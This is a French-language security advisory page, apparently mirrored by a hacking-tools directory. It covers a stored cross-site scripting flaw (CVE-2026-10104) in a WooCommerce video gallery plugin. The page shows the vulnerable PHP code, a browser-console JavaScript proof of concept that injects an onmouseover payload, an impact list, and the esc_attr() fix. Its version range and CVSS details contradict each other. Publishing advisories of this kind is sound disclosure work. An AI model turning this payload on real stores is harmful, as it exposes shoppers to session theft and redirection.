Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ravi-lk/cve-2026-10104-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Galerie vidéo de produits pour Woocommerce <= 1.5.1.8 - Preuve de concept de script intersite stocké authentifié

Voir le dépôt
243il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-10104 : Cross-Site Scripting stocké dans Product Video Gallery for WooCommerce

Résumé

DétailValeur
ID CVECVE-2026-10104
PluginProduct Video Gallery for WooCommerce
ÉditeurTechnoSoft Webs (NikHiL Gadhiya)
TypeCross-Site Scripting (XSS) stocké
CWECWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages web
CVSS 3.14.4 (Moyen)
Versions affectées≤ 1.5.1.6
Version corrigée1.5.1.9
Nécessite une authentificationOui — Contributeur+ (tout rôle pouvant modifier des produits)
Découvert parRavindu Lakmina Munaweera

Description

Le plugin Product Video Gallery for WooCommerce pour WordPress (versions jusqu’à la 1.5.1.6 incluse) est vulnérable à un Cross-Site Scripting (XSS) stocké via le paramètre meta produit custom_thumbnail.

La méthode save_wc_video_url_field() du plugin nettoie le paramètre POST custom_thumbnail[] à l’aide de sanitize_text_field(), qui supprime les balises HTML mais ne supprime pas les guillemets doubles ("). Côté frontend, la valeur stockée est insérée directement dans les attributs d’une balise `` dans nickx_get_video_thumbanil_html() sans échappement esc_attr(). Cela permet à un attaquant authentifié d’injecter des attributs arbitraires de gestionnaires d’événements HTML (par exemple, onmouseover, onerror) qui exécutent du JavaScript dans le navigateur de tout visiteur — y compris les utilisateurs non authentifiés — qui consulte la page produit concernée.


Vecteur CVSS 3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
MétriqueValeur
Vecteur d’attaqueRéseau
Complexité d’attaqueFaible
Privilèges requisFaible
Interaction utilisateurAucune
PérimètreModifié
Impact sur la confidentialitéFaible
Impact sur l’intégritéFaible
Impact sur la disponibilitéAucun

Code affecté

Sortie (puits — aucun échappement)

Fichier : public/class-rendering.php
Méthode : nickx_get_video_thumbanil_html()

root@kitploit:~
// Ligne 365 — valeur insérée sans esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Ligne 379 — rendu dans une balise  côté public
echo '';

Source (enregistrement — nettoyage insuffisant)

Fichier : admin/class-video-field.php
Méthode : save_wc_video_url_field()

root@kitploit:~
// Lignes 309-310 — sanitize_text_field() supprime les balises mais PAS les guillemets doubles
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Preuve de concept

Prérequis

  • WordPress avec WooCommerce installé
  • Plugin : Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • Un produit WooCommerce avec une URL vidéo YouTube configurée
  • Un compte disposant de privilèges d’édition de produits (Gestionnaire de boutique, Auteur, etc.)

Étapes pour reproduire

  1. Connectez-vous en tant que Gestionnaire de boutique (attaquant).

  2. Naviguez vers Produits → Modifier un produit quelconque qui possède une URL vidéo définie dans le champ « Product Video Url ».

  3. Ouvrez les outils de développement du navigateur (F12) → onglet Console.

  4. Copiez et exécutez le code JavaScript suivant :

root@kitploit:~
const form = document.getElementById('post');

// Définir l’ID de la vignette sur une valeur non vide (requise par la condition de rendu)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// Injection de la charge utile XSS via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Cliquez sur « Mettre à jour » pour enregistrer le produit.

  2. Ouvrez la page produit côté frontend dans une fenêtre de navigation privée (non authentifié).

  3. Survolez la vignette vidéo dans la galerie du produit.

  4. ✅ L’alerte JavaScript s’exécute, confirmant le XSS stocké.

image
image

Sortie rendue

root@kitploit:~

Le guillemet double injecté " ferme l’attribut custom_thumbnail, et onmouseover devient un attribut exécutable sur l’élément ``.


Impact

  • Le XSS stocké s’exécute sur le frontend public pour tous les visiteurs, y compris les utilisateurs non authentifiés
  • Les attaquants peuvent voler les cookies de session et détourner les comptes administrateur
  • Les attaquants peuvent rediriger les clients vers des sites de phishing ou de distribution de malwares
  • Les attaquants peuvent défigurer les pages produits ou injecter des cryptomineurs
  • Seul un accès de niveau Contributeur est nécessaire pour exploiter la vulnérabilité

Correction

Appliquez esc_attr() à la valeur de la vignette personnalisée avant de l’insérer dans l’attribut HTML :

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

Cette même correction doit être appliquée à toutes les occurrences de construction de $custom_thumbnail dans nickx_get_video_thumbanil_html() (les deux chemins de code, avec tableau et sans tableau).


Calendrier de divulgation

DateÉvénement
2026-03-20Vulnérabilité découverte
2026-03-20Signalée à Wordfence (CNA)
2026-05-29ID CVE attribué : CVE-2026-10104
2026-07-01Divulgation publique

Crédits

  • Découvert par : Ravindu Lakmina Munaweera
  • CVE attribué par : Wordfence (CNA)
  • CVE ORG

Références

  • CVE-2026-10104
  • Page du plugin WordPress
  • Entrée de la base de données de vulnérabilités Wordfence
  • CWE-79 : Cross-site Scripting
  • Aide-mémoire OWASP pour la prévention XSS

Licence

Cet avis est publié sous CC BY 4.0.

Télécharger l’outil